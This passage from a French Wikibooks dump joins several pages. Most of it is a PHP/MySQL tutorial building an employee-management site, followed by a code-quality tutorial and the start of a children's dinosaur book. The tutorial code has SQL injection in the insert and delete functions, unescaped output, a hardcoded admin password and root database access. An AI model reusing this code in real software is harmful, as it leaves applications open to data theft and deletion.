plusieurs bases de données (une base de données est un ensemble de tables). La fonction mysql_select_db($base) permet de sélectionner la base de données à laquelle on va envoyer les requêtes. Cette fonction renvoie true si tout s'est bien passé et false sinon. ====Etape 4 : création de la requête==== Il faut ensuite créer la requête dans une chaîne de caractères. Ici la requête va être simple, par exemple ''$query='SELECT * FROM employe';'' : on met le requête dans la variable $query. Parfois, il faudra concaténer des chaînes de caractères pour construire la requête. ====Etape 5 : envoyer la requête et récupérer le résultat==== Pour envoyer la requête au serveur, il faut utiliser la fonction ''$r=mysql_query($query);'' qui envoie la requête ''$query'' et récupère le résultat dans ''$r''. ====Etape 6 : fermer la connexion avec le serveur de base de données==== Pour fermer la connexion avec le serveur de base de données, il suffit d'appeler la fonction ''mysql_close();''. ====Etape 7 : générer du HTML à partir du résultat de la requête==== Supposons que le résultat d'une requête soit contenu dans la variable $r. Il est souvent intéressant de parcourir un à un tous les enregistrements contenus dans $r. L'appel de fonction ''$a=mysql_fetch_object($r)'' permet de récupérer un à un tous les enregistrements dans la variable $a. Lors du premier appel, on récupère le premier enregistrement dans $a, lors du second appel, on récupère le second enregistrement et ainsi de suite jusqu'au dernier enregistrement. Si on appelle alors une nouvelle fois cette fonction, elle va renvoyer le booléen false. Ceci permet donc de traiter un à un tous les enregistrements en écrivant <pre> while($a=mysql_fetch_object($r)) { ... } </pre> Lors de l'exécution de ce while $a va prendre toutes les valeurs des différents enregistrements contenus dans $r, du premier au dernier. A partir de l'objet $a, on pourra récupérer le champs NOM de cet enregistrement en écrivant ''$a->NOM''. On peut ainsi récupérer la valeur de chaque champs d'un enregistrement. Il suffit donc maintennant de parcourir chaque enregistrement et d'afficher du HTML en utilisant la commande écho à partir des différents champs des enregistrements. ===Les pages du site (version 1)=== '''Fichier index.html''' <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Afficher le résultat d'un requête</title> </head> <body> <h1> Choisissez dans le menu ci-dessous</h1> <a href="liste1.php">Afficher la liste des employés</a><br/> <a href="liste2.php">Afficher la liste des employés par ordre alphabétique</a><br/> <a href="liste3.php">Afficher la liste des employés par salaire décroissant</a><br/> </body> </html> </pre> '''Fichier params.php''' <pre> <?php $host='localhost'; $user='root'; $password=''; $base='toto'; ?> </pre> '''Fichier liste1.php''' <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Afficher la liste des employés</title> </head> <body> <h1>Afficher la liste des employés</h1> <?php require 'params.php'; mysql_connect($host,$user,$password) or die('Erreur le connexion au SGBD.'); mysql_select_db($base) or die('La base de données n\'existe pas'); $query='SELECT * FROM employe'; $r=mysql_query($query); mysql_close(); echo'<table><tr><td>NOM</td><td>PRENOM</td><td>SALAIRE</td></tr>'; while($a=mysql_fetch_object($r)) { $nom=$a->NOM; $prenom=$a->PRENOM; $salaire=$a->SALAIRE; echo"<tr><td>$nom</td><td>$prenom</td><td>$salaire</td></tr>"; } echo '</table>'; ?> <br/> <br/> <a href="index.html">Retour à la page d'accueil</a> </body> </html> </pre> '''Fichier liste2.php''' <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Afficher la liste des employés par ordre alphabétique</title> </head> <body> <h1>Afficher la liste des employés par ordre alphabétique</h1> <?php require 'params.php'; mysql_connect($host,$user,$password) or die('Erreur le connexion au SGBD.'); mysql_select_db($base) or die('La base de données n\'existe pas'); $query='SELECT * FROM employe ORDER BY NOM, PRENOM'; $r=mysql_query($query); mysql_close(); echo'<table><tr><td>NOM</td><td>PRENOM</td><td>SALAIRE</td></tr>'; while($a=mysql_fetch_object($r)) { $nom=$a->NOM; $prenom=$a->PRENOM; $salaire=$a->SALAIRE; echo"<tr><td>$nom</td><td>$prenom</td><td>$salaire</td></tr>"; } echo '</table>'; ?> <br/> <br/> <a href="index.html">Retour à la page d'accueil</a> </body> </html> </pre> '''Fichier liste3.php''' <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Afficher la liste des employés par salaire décroissant</title> </head> <body> <h1>Afficher la liste des employés par ordre alphabétique</h1> <?php require 'params.php'; mysql_connect($host,$user,$password) or die('Erreur le connexion au SGBD.'); mysql_select_db($base) or die('La base de données n\'existe pas'); $query='SELECT * FROM employe ORDER BY SALAIRE DESC'; $r=mysql_query($query); mysql_close(); echo'<table><tr><td>NOM</td><td>PRENOM</td><td>SALAIRE</td></tr>'; while($a=mysql_fetch_object($r)) { $nom=$a->NOM; $prenom=$a->PRENOM; $salaire=$a->SALAIRE; echo"<tr><td>$nom</td><td>$prenom</td><td>$salaire</td></tr>"; } echo '</table>'; ?> <br/> <br/> <a href="index.html">Retour à la page d'accueil</a> </body> </html> </pre> ===Les pages du site (version 2)=== Lorsqu'on étudie les fichiers liste1.php, liste2.php et liste3.php, on s'aperçoit qu'ils sont extrêmement proches : on va donc réécrire l'application en écrivant un seul fichier liste.php et en le paramétrant grâce à la méthode GET. Le nouveau '''fichier index.html''' devient donc : <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Afficher le résultat d'un requête</title> </head> <body> <h1> Choisissez dans le menu ci-dessous</h1> <a href="liste.php?l=1">Afficher la liste des employés</a><br/> <a href="liste.php?l=2">Afficher la liste des employés par ordre alphabétique</a><br/> <a href="liste.php?l=3">Afficher la liste des employés par salaire décroissant</a><br/> </body> </html> </pre> On constate donc que les liens hypertextes, par exemple ''liste.php?l=1'' appelle le même fichier liste.php en lui donnant un paramètre par la méthode GET, ici l=1, ce qui permet de paramétrer le fichier. '''Remarque importante : '''lorsqu'on utilise ce genre de liens hypertextes, il faut toujours se poser la question : que se passe-t-il si l'utuilisateur accède à la page liste.php sans passer de paramètres ou alors en écrivant ''liste.php?l=4'' ? Le programmeur doit garantir que dans un tel cas, le site reste cohérent et que ceci n'engendre pas de failles de sécurité. Le '''fichier liste.php''' devient : <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Afficher la liste des employés</title> </head> <body> <h1>Afficher la liste des employés</h1> <?php require 'params.php'; mysql_connect($host,$user,$password) or die('Erreur le connexion au SGBD.'); mysql_select_db($base) or die('La base de données n\'existe pas'); if(isset($_GET['l'])) $l=$_GET['l']; else $l=1; if($l==1)$query='SELECT * FROM employe'; else if($l==2)$query='SELECT * FROM employe ORDER BY NOM, PRENOM'; else $query='SELECT * FROM employe ORDER BY SALAIRE DESC'; $r=mysql_query($query); mysql_close(); echo'<table><tr><td>NOM</td><td>PRENOM</td><td>SALAIRE</td></tr>'; while($a=mysql_fetch_object($r)) { $nom=$a->NOM; $prenom=$a->PRENOM; $salaire=$a->SALAIRE; echo"<tr><td>$nom</td><td>$prenom</td><td>$salaire</td></tr>"; } echo '</table>'; ?> <br/> <br/> <a href="index.html">Retour à la page d'accueil</a> </body> </html> </pre> Le programmeur teste en utilisant ''isset($_GET['l'])'' pour savoir si la variable l a été passée par la méthode GET et il récupère sa valeur dans la variable $l. Si ce paramètre n'existe pas, $l est fixé à la valeur 1. On construit ensuite la requête $query en fonction de la valeur de $l. Cette version du programme est plus simple mais îil faut toutefois faire très attention à la sécurité dans un tel cas. ===Captures d'écran=== '''Le menu initial''' [[Image:PHP-Liste2-1.jpg]] '''Affichage de la liste d'employés''' [[Image:PHP-Liste2-2.jpg]] '''Affichage de la liste par ordre alphabétique''' [[Image:PHP-Liste2-3.jpg]] '''Affichage de la liste par salaire décroissant''' [[Image:PHP-Liste2-4.jpg]] Programmation PHP/Exemples/BD 2 7449 39778 2006-04-07T08:47:18Z Merrheim 1032 /* Le fichier Appli/.htaccess */ {{Programmation PHP}} ==Modifier une table== ===Les fichiers de l'application=== ====Le fichier BD.sql==== <pre> CREATE TABLE `employe` ( `ID` BIGINT NOT NULL AUTO_INCREMENT , `NOM` VARCHAR( 20 ) , `PRENOM` VARCHAR( 20 ) , `SALAIRE` DOUBLE DEFAULT '0', PRIMARY KEY ( `ID` ) ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Dupond', 'Marcel', '8000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Martin', 'Xavier', '4000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Gogol', 'Henri', '3000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Hugo', 'Victor', '2000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Gali', 'Daniel', '6000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Martin', 'Georges', '9000' ); </pre> ====Le fichier index.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Afficher le résultat d'un requête</title> </head> <body> <h1> Choisissez dans le menu ci-dessous</h1> <a href="liste.php?l=1">Afficher la liste des employés</a><br/> <a href="liste.php?l=2">Afficher la liste des employés par ordre alphabétique</a><br/> <a href="liste.php?l=3">Afficher la liste des employés par salaire décroissant</a><br/> <a href="add.php">Ajouter un employé</a><br/> <a href="delete.php">Supprimer un employé</a><br/> <?php if(is_admin())echo '<a href="disconnect.php">Se déconnecter</a><br/>'; ?> </body> </html> </pre> ====Le fichier liste.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Afficher la liste des employés</title> </head> <body> <h1>Afficher la liste des employés</h1> <?php if(isset($_GET['l'])) { $l=$_GET['l']; }else $l=1; liste($l,false); ?> <br/> <br/> <a href="index.php">Retour à la page d'accueil</a> </body> </html> </pre> ====Le fichier add.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; $_SESSION['add_NOM']=''; $_SESSION['add_PRENOM']=''; $_SESSION['add_SALAIRE']=''; $_SESSION['add_ERROR']=0; if(is_admin()) require 'Appli/addForm.php'; else { $_SESSION['connect_target']='Appli/addForm.php'; $_SESSION['connect_error']=0; $_SESSION['connect_login']=''; require 'Appli/connectForm.php'; } ?> </pre> ====Le fichier addAction.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; if(is_admin()) { if(isset($_POST['add'])) { $nom=$_POST['nom']; $prenom=$_POST['prenom']; $salaire=$_POST['salaire']; $r=add_liste($nom,$prenom,$salaire); if($r==0)echo '<meta http-equiv="Refresh" content="0;URL=index.php">'; else { $_SESSION['add_NOM']=$nom; $_SESSION['add_PRENOM']=$prenom; $_SESSION['add_SALAIRE']=$salaire; $_SESSION['add_ERROR']=$r; require 'Appli/addForm.php'; } }else echo '<meta http-equiv="Refresh" content="0;URL=index.php">'; } ?> </pre> ====Le fichier connect.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; if(isset($_POST['connect'])) { if(isset($_POST['login'])) $login=$_POST['login']; else $login=''; if(isset($_POST['password'])) $password=$_POST['password']; else $password=''; if(connect($login,$password))$target=$_SESSION['connect_target']; else { $target='Appli/connectForm.php'; $_SESSION['connect_login']=$login; $_SESSION['connect_error']=1; } } else $target='index.php'; require $target; ?> </pre> ====Le fichier disconnect.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; disconnect(); ?> <meta http-equiv="Refresh" content="0;URL=index.php"> </pre> ====Le fichier delete.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; if(is_admin()) require 'Appli/deleteForm.php'; else { $_SESSION['connect_target']='Appli/deleteForm.php'; $_SESSION['connect_error']=0; $_SESSION['connect_login']=''; require 'Appli/connectForm.php'; } ?> </pre> ====Le fichier deleteAction.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; if(is_admin()) { $ID=$_GET['ID']; delete($ID); require 'Appli/deleteForm.php'; }else echo '<meta http-equiv="Refresh" content="0;URL=index.php">'; ?> </pre> ====Le fichier Appli/.htaccess==== <pre> deny from all </pre> ====Le fichier Appli/params.php==== <pre> <?php $host='localhost'; $user='root'; $password=''; $base='toto'; $admin_login='admin'; $admin_password='aligator'; ?> </pre> ====Le fichier Appli/appli.php==== <pre> <?php function is_admin() { return isset($_SESSION['admin']) and ($_SESSION['admin']==true); } function connect($login,$user_password) { $r=false; require 'params.php'; if($login==$admin_login and $user_password==$admin_password) {$r=true;$_SESSION['admin']=true;} return $r; } function disconnect() { $_SESSION['admin']=false; } function liste($l,$editable) { require 'params.php'; mysql_connect($host,$user,$password) or die('Erreur le connexion au SGBD.'); mysql_select_db($base) or die('La base de données n\'existe pas'); if($l==1)$query='SELECT * FROM employe'; else if($l==2)$query='SELECT * FROM employe ORDER BY NOM, PRENOM'; else $query='SELECT * FROM employe ORDER BY SALAIRE DESC'; $r=mysql_query($query); mysql_close(); if(editable==false)echo'<table><tr><td>NOM</td><td>PRENOM</td><td>SALAIRE</td></tr>'; else echo'<table><tr><td>NOM</td><td>PRENOM</td><td>SALAIRE</td><td>&nbsp;</td></tr>'; while($a=mysql_fetch_object($r)) { $nom=$a->NOM; $prenom=$a->PRENOM; $salaire=$a->SALAIRE; $ID=$a->ID; if ($editable==false)echo"<tr><td>$nom</td><td>$prenom</td><td>$salaire</td></tr>"; else echo"<tr><td>$nom</td><td>$prenom</td><td>$salaire</td><td><a href=\"deleteAction.php?ID=$ID\">SUPPRIMER</a></td></tr>"; } echo '</table>'; } function add_liste($nom,$prenom,$salaire) { $r=0; if($nom=='')$r=1; else if($prenom=='')$r=2; else if ($salaire=='')$r=3; else { require 'params.php'; mysql_connect($host,$user,$password) or die('Erreur le connexion au SGBD.'); mysql_select_db($base) or die('La base de données n\'existe pas'); $query="INSERT INTO employe (NOM,PRENOM,SALAIRE) VALUES ('$nom','$prenom','$salaire')"; mysql_query($query); mysql_close(); } return $r; } function delete($ID) { require 'params.php'; mysql_connect($host,$user,$password) or die('Erreur le connexion au SGBD.'); mysql_select_db($base) or die('La base de données n\'existe pas'); $query="DELETE FROM employe WHERE ID=$ID"; mysql_query($query); mysql_close(); } ?> </pre> ====Le fichier Appli/connectForm.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Connexion</title> </head> <body> <h1> Connexion</h1> <form method="post" action="connect.php"> <table> <?php $value=$_SESSION['connect_login']; echo "<tr><td><b>LOGIN</b></td> <td><input type=\"text\" name=\"login\" value=\"$value\"/></td></tr>"; ?> <tr><td><b>MOT DE PASSE</b></td> <td><input type="password" name="password"/></td></tr> <tr><td colspan="2"><input type="submit" value="Se connecter" name="connect"><input type="submit" value="Annuler" name="cancel"></td></tr> </table> </form> <br/> <?php $error= $_SESSION['connect_error']; if($error==1)echo'Erreur de connexion'; $_SESSION['connect_error']=0; ?> <p/> <a href="index.php">Retour</a> </body> </html> </pre> ====Le fichier Appli/addForm.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Ajouter</title> </head> <body> <h1>Ajouter un employé</h1> <form method="post" action="addAction.php"> <table> <?php $nom=$_SESSION['add_NOM']; $prenom=$_SESSION['add_PRENOM']; $salaire=$_SESSION['add_SALAIRE']; echo '<tr><td><b>NOM</b></td> <td><input type="text" name="nom" value="'.$nom.'"/></td></tr>'; echo '<tr><td><b>PRENOM</b></td> <td><input type="text" name="prenom" value="'.$prenom.'"/></td></tr>'; echo '<tr><td><b>SALAIRE</b></td> <td><input type="text" name="salaire" value="'.$salaire.'"/></td></tr>'; ?> <tr><td colspan="2"><input type="submit" value="Ajouter" name="add"><input type="submit" value="Annuler" name="cancel"></td></tr> </table> </form> <br/> <?php $error=$_SESSION['add_ERROR']; if($error==1)echo'ERREUR : le nom est vide'; if($error==2)echo'ERREUR : le prénom est vide'; if($error==3)echo'ERREUR : le salaire est vide'; ?> <p/> <a href="index.php">Retour</a> </body> </html> </pre> ====Le fichier Appli/deleteForm.php==== <pre> <?php session_start(); require_once'Appli/appli.php'; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Suppression</title> </head> <body> <h1> Suppression</h1> <?php liste(2,true); ?> <p/> <a href="index.php">Retour</a> </body> </html> </pre> Programmation PHP/Exemples/Livre 7450 35644 2006-03-03T10:50:56Z Merrheim 1032 {{Programmation PHP}} ==Faire un livre d'or== Programmation PHP/Exemples/MiniCMS 7451 35645 2006-03-03T10:51:27Z Merrheim 1032 {{Programmation PHP}} ==Faire un miniCMS== Programmation PHP/Exemples/MiniForum 7452 35646 2006-03-03T10:51:58Z Merrheim 1032 {{Programmation PHP}} ==Faire un mini forum de discussion== Programmation PHP/Concevoir du code de haute qualité 7453 45273 2006-06-20T20:51:09Z Coleginux 1430 /* L'unicité du code */ {{Programmation PHP}} == Introduction == La programmation est accessible à tout le monde. En revanche, créer du code de qualité demande une rigueur et une organisation qui n'est pas toujours au rendez-vous. Voici donc un tutoriel pour apprendre à programmer du code de haute qualité. Les exemples seront pris au [[PHP]] mais leur application est toujours valable quel que soit le langage de programmation. == Pourquoi bien programmer ? == Il est important d'aborder cette question dès le début pour légitimer ce cours, la motivation étant un facteur non négligeable de l'apprentissage. Le bien-programmer est tout d'abord indispensable pour travailler en équipe. Lorsque vous travaillez dans un projet avec d'autres développeurs, il est important de coordonner votre action, d'éditer du code lisible... ce qui augmentera considérablement votre rendement de travail. Vous vous apercevrez rapidement qu'un code bien programmé simplifie la vie: Lorsque vous avez créé un script une année auparavent et que vous devez vous replonger dessus, vous serez heureux de gagner du temps en retrouvant plus facilement le sens du code grâce à sa lisibilité. De plus, du bon code est plus compatible et génèrera moins d'erreurs ... La quantité toujours grandissante de développeurs risque d'entraîner une saturation du marché. Vous serez jugés sur votre qualité de programmation. Un code aux normes est un sceau garantissant votre compétence de développeur == Les critères de qualité == La programmation doit posséder des qualités qui ne sont pas arbitraires. Chaque critères sera accompagné d'une rapide description de son utilité === La portabilité === La portabilité du code est son degré d'indépendance à son environnement. Cette qualité est surtout requise pour des scripts destinés à être utilisés par le grand public. Par exemple, lorsqu'en PHP, vous utilisez des balises ''<?'', vous réduisez la portabilité du code. En effet, l'usage des balises de ce type nécessitent l'activation de la fonction SHORT_TAGS, donc dépend de l'environnement du script. Par définition, cela réduit la portabilité du code. Il vaut mieux utiliser la balise ''<?php'' qui marche quelque soit l'environnement === La lisibilité === Il n'est pas besoin de chercher loin pour trouver les avantages que confèrent un code lisible: il permet aux autres développeurs de modifier plus facilement votre script, mais également à vous même de comprendre plus rapidement un ancien programme que vous avez conçu dans une période antérieure. La lisibilité du code permet également d'éviter les erreurs de logique qui apparaissent plus distinctement. La lisibilité est très liée à la définition de normes. La lisibilité du code inclut un bon usage de la commentarisation. Les commentaires sont faits pour augmenter la rapidité de compréhension du script par le développeur, mais il ne doit pas en être fait un usage excessif, lequel serait néfaste pour la lisibilité. Voici un exemple de mauvaise utilisation des commentaires: <pre> /* Code qui va afficher "salut" par un echo. Ce programme est fait en PHP compatible php3*/ echo "salut"; //affiche "salut" #fin du programme </pre> Il devient difficile de distinguer le code parmi les commentaires. Cet exemple était volontairement exagéré, mais n'est pas si loin de quelques scripts que l'on peut trouver sur le Net. === La définition de normes === Les normes sont des décisions le plus souvent arbitraires sur des méthodes de programmation. L'important n'est pas ce que définissent les normes, mais que des normes soient définies. La définition de normes confère une continuité logique au code. Par exemple, en [[PHP]], il est possible de nommer des variables de 2 manières différentes: <pre> $maSuperVariable //Ecriture en "camel caps" $ma_super_variable //Ecriture avec des underscores </pre> Vous serez rapidement désorienté si tantôt vous utilisez une méthode, tantôt une autre, et il se peut que vous perdiez des heures à chercher la cause d'une erreur d'écriture de variable. De plus, lorsque vous travaillez en commun avec d'autres développeurs, si vous n'avez pas défini le nom du fichier de connexion à la base de donnée, lors de la fusion des scripts, vous devrez tout remodifier et perdre ainsi un temps précieux. === L'unicité du code === L'unicité du code est le principe selon lequel aucun code ne doit être double dans le script. Ce critère a un enjeu pratique et vise à augmenter la rapidité des modifications d'un script. Prenons un exemple: Vous faites un programme de comptabilité d'entreprise et vous connectez à une base de données. Si dans chaque page où vous vous connectez, vous entrez le code suivant: <pre> <?php $connect = mysql_connect("host","account","password"); //actions sur la BDD ?> </pre> Si un jour vous voulez changer le mot de passe de la base de données, vous devrez modifier chaque script, tâche qui s'avère laborieuse. Si en revanche lorsque vous vous connectez à la base de données vous entrez le code suivant: <pre> include("connect.php"); </pre> Et que dans le fichier ''connect.php'' vous entrez les informations de votre base de données, vous n'aurez qu'à modifier ce fichier lors d'un changement de mot de passe. === La gestion des erreurs === Votre programme ne doit pas afficher au client de message d'erreur. Cela ne signifie pas non plus qu'il faille les étouffer. Il faut par du code de qualité réduire au maximum les erreurs possibles, puis traiter les autres en les enregistrant par exemple dans un fichier. Pour créer une bonne gestion des erreur, partez du principe que l'utilisateur est un arriéré mental et qu'il va justement faire ce qu'il ne faut pas. Envisagez toutes les possibilités et trouvez-y une solution. == Les conflits de critères == Réaliser un programme rassemblant toutes les qualités présentées précédemment est extrêmement difficile. La plupart du temps, certains critères entrent en conflit, par exemple entre la compatibilité et la lisibilité. Il va alors falloir établir une hiérarchie. Il n'existe pas de hiérarchie absolue. Elle dépend du type de projet que vous menez. Voici quelques exemples de hiérarchisation de critères en fonction du projet: === Projet destiné au grand public === Par exemple, vous décidez un jour de concevoir un cms. Les qualites requises seront: - '''La portabilité du code''' (car le cms doit fonctionner sous le plus grand nombre de serveurs, donc doit dépendre le moins possible de sa configuration) - '''La gestion des erreurs''' (sachant que les personnes qui vont utiliser le script ne l'ont pas fait, il ne doit pas retourner de message d'erreur car ils ne pourraient pas l'arranger) - '''La définition de normes''' (vous le programmerez certainement en équipe, donc il faut coordonner votre action) - '''La lisibilité du code''' (toujours pour des raisons de coordination) === Script pour un particulier === Si on vous demande de programmer un système de restriction d'accès pour un site particulier, il va falloir que le code possède les critères suivants: - '''La lisibilité du code''' (Un autre développeur doit pouvoir facilement modifier votre script si le client le lui demande) == Erreurs à éviter == Attention à ne pas vous laisser avoir par des idées fausses d'autant plus dangereuses qu'elles sembleraient logiques. En voici quelques exemples: === Le code optimisé === Certaines personnes personnes croient que le code le plus court est également le plus rapide d'exécution, ce qui est faux. En voici un contre-exemple: <pre> //Code le plus court for ($i=0; $i<count($array); $i++) { echo $array[$i]; } //Code le plus rapide $count = count($array); for ($i=0; $i<$count; $i++) { echo $array[$i]; } </pre> En effet, avec le premier code, à chaque itération, la taille du tableau est recalculée, ce qui ralentit le script. Le code le plus court n'est donc pas le plus rapide d'exécution. Advance wars 7455 35664 2006-03-03T14:05:54Z Meithal 774 [[Advance wars]] déplacé vers [[Advance Wars]]: typo exacte #REDIRECT [[Advance Wars]] Image:Td6bfig2.png 7456 35691 2006-03-03T19:44:15Z SergeMoutou 1178 PROM à diodes PROM à diodes Image:Td6bfig3.png 7457 35696 2006-03-03T20:15:17Z SergeMoutou 1178 agrandir des capacités mémoire agrandir des capacités mémoire Wikijunior:Les dinosaures 7458 36476 2006-03-07T21:03:12Z Merrheim 1032 /* Quelques questions essentielles */ '''Les dinosaures, un livre de la série [[Wikijunior]] '''<br/> ''Une traduction libre du wikijunior en langue anglaise.'' {{Wikijunior/Dinosaure}} Si vous travaillez sur ce projet, ayez toujours en tête que ce travail s'adresse avant tout à des enfants. Il est beaucoup plus important d'être compris que d'être extremement précis sur tous les détails. Utilisez des termes techniques lorsque cela est nécessaire mais n'utilisez pas un vocabulaire compliqué lorsqu'un langage plus simple pourrait convenir. A chaque fois que vous utilisez un terme technique, listez le dans le glossaire et définissez le. a défaut, notez qu'il doit être défini dans le glossaire. Donner une définition du vocabulaire technique semble être une bonne méthode. S'il vous plait, si vous pouvez contribuer à ce travail, faites le. Beaucoup de parties ont besoin d'être nettoyées ou complétement réécrites. ==Les principaux articles== {{ÉtatDesWikilivres}} * [[Wikijunior Dinosaure/Introduction|Introduction]]{{75}} * [[/T-Rex|T-Rex]] {{25}} * [[/Stegosaurus|Stegosaurus]] {{00}} * [[/Allosaurus|Allosaurus]] {{00}} * [[/Brontosaurus|Brontosaurus]] {{00}} * [[/Pterodactyle|Pterodactyls]] {{00}} * [[/Triceratops|Triceratops]] {{00}} * [[/Plesiosaure|Plésiosaure]] {{00}} * [[/Velociraptor|Velociraptor]] {{00}} * [[/Glossaire|Glossaire]] {{00}} ==Autres articles== ==Quelques questions essentielles== Les questions qui apparaissent dans les différents articles sont : * A quoi ressemblaient-ils ? Quelle était leur taille, comment se déplaçaient-ils ? Nous donnerons quelques détails sur leurs caractéritiques. * Que mangeaient-ils ? Etaient-ils herbivores, carnivores, omnivores ou autres ? * Comment vivaient-ils ? * Où vivaient-ils ? Dans les oceans, les mers, la jungle ou dans les prairies ? * Comment ont-ils été découverts ? Des discussions sur l'endroit où leur fossile ont été découvert et parfois les noms et des informations sur ceux qui les ont découverts. * Que nous reste-t-il à découvrir ? (Pour démontrer que la science est toujours en évolution et que nous ne connaissons pas toutes les réponses). [[Category:Wikijunior]] [[en:Wikijunior Dinosaurs]] Modèle:Wikijunior/Dinosaure 7459 35888 2006-03-04T16:19:13Z Merrheim 1032 {|cellpadding="0" cellspacing="0" style="padding: 0.3em; float:right; margin-left:15px; border: 1px solid #999; border-right-width: 2px; border-bottom-width: 2px; background:#d4e4ff; text-align:center" | <center>[[Image:Saurier2.jpg|150px|<nowiki></nowiki>]]</center> |- |style="padding: 0.3em; font-family: sans-serif; font-size: 1em; background-color: green"| [[Wikijunior:Les dinosaures|<font color="pink">'''Les dinosaures'''</font>]] |- |style="padding: 0.3em; line-height: 1.5em"| [[Wikijunior Dinosaure/Introduction|Introduction]]<br> [[Wikijunior:Les dinosaures/T-Rex|T-Rex]]<br> [[Wikijunior:Les dinosaures/Stegosaurus|Stegosaurus]]<br> [[Wikijunior:Les dinosaures/Allosaurus|Allosaurus]]<br> [[Wikijunior:Les dinosaures/Brontosaurus|Brontosaurus]]<br> [[Wikijunior:Les dinosaures/Pterodactyle|Pterodactyle]]<br> [[Wikijunior Dinosaure/Triceratops|Triceratops]]<br> [[Wikijunior:Les dinosaures/Plesiosaure|Plésiosaure]]<br> [[Wikijunior:Les dinosaures/Velociraptor|Velociraptor]]<br> [[Wikijunior:Les dinosaures/K-T Event|K-T Event]]<br> [[Wikijunior:Les dinosaures/Extinction|Extinction]]<br> [[Wikijunior:Les dinosaures/Pangea|Pangea]]<br> [[Wikijunior:Les dinosaures/Glossaire|Glossaire]]<br> |} Wikijunior Dinosaure/Introduction 7460 35882 2006-03-04T16:12:22Z Merrheim 1032 __NOTOC__ {{Wikijunior/Dinosaure}} [[Image: Triceratops Struct.jpg|thumb|right|Une réplique du squelette du célèbre tricératops]] ==Introduction== Wikijunior vous souhaite la bienvenue dans le livre sur les dinosaures. Les dinosaures sont les plus célèbres des être vivant qui n'ont jamais marché sur la Terre, et leur histoire excite l'imagination des enfants depuis toujours. Les dinosaures ont beau avoir disparu, la créativité des enfants est si grande qu'ils peuvent imaginer comment était une créature qui a vécu sur la Terre il y a des millions d'années. L'importance de la tâche est telle que des experts, ici à Wikibooks ont donné de leur temps et de leur talent pour rassembler ces informations. Wikilivres est un projet de la fondation Wikimedia et a pour but de promouvoir des documents gratuits, de bonne qualité et facilement compréhensible par des enfants et par des adultes. Les éditeurs habituels ont tendance à tirer profit de la réédition de livres classiques ou écrits par des célébrités. Avec Wikilivres, les documents sont en permanence à jour, et les faits vérifiés par des centaines de volontaires qui travaille bénévolement sans la moindre compensation. Le travail que vous êtes en train de regarder est un travail de passionnés de la part des contributeurs et ont comme seul but de faire partager leurs connaissances gratuitement dans le monde entier. Avec ce projet, nous avons atteint un croisement entre les livres d'hier et l'encyclopédie universelle de demain. Simplement en lisant ce livre et en en parlant à vos amis, vous faîtes avancer la cause de l'accès gratuit à l'information et de la démocratisation de tous les champs de l'édition. Merci par avance et en retour, notre remerciement sera de vous apprendre l'histoire de la plus grosse des créatures n'ayant jamais vécu. Tout ceux qui ont contribué à ce livre espèrent que vous y trouverez d'abord une formidable aventure mais aussi beaucoup de connaissances. Ce livre vous apportera des connaissances de base sur comment vivaient les dinosaures et sur quelques événements qui se sont déroulés à leur éopoque. De toutes les créatures ayany jamais vécu sur la Terre, très peu ont autant capté notre imagination et notre soif de connaissance que les dinosaures. Ce sont des personnages si célèbres et si présents dans notre esprit que beaucoup de sujets ne pourront être abordé dans la première version de ce livre. == Un jour, il y a des millions d'années...== Imaginez que vous êtes entrain de marcher dans la forêt dans la forêt préhistorique et que vous entendiez un grand bruit derrière vous. Vous vous retournez, 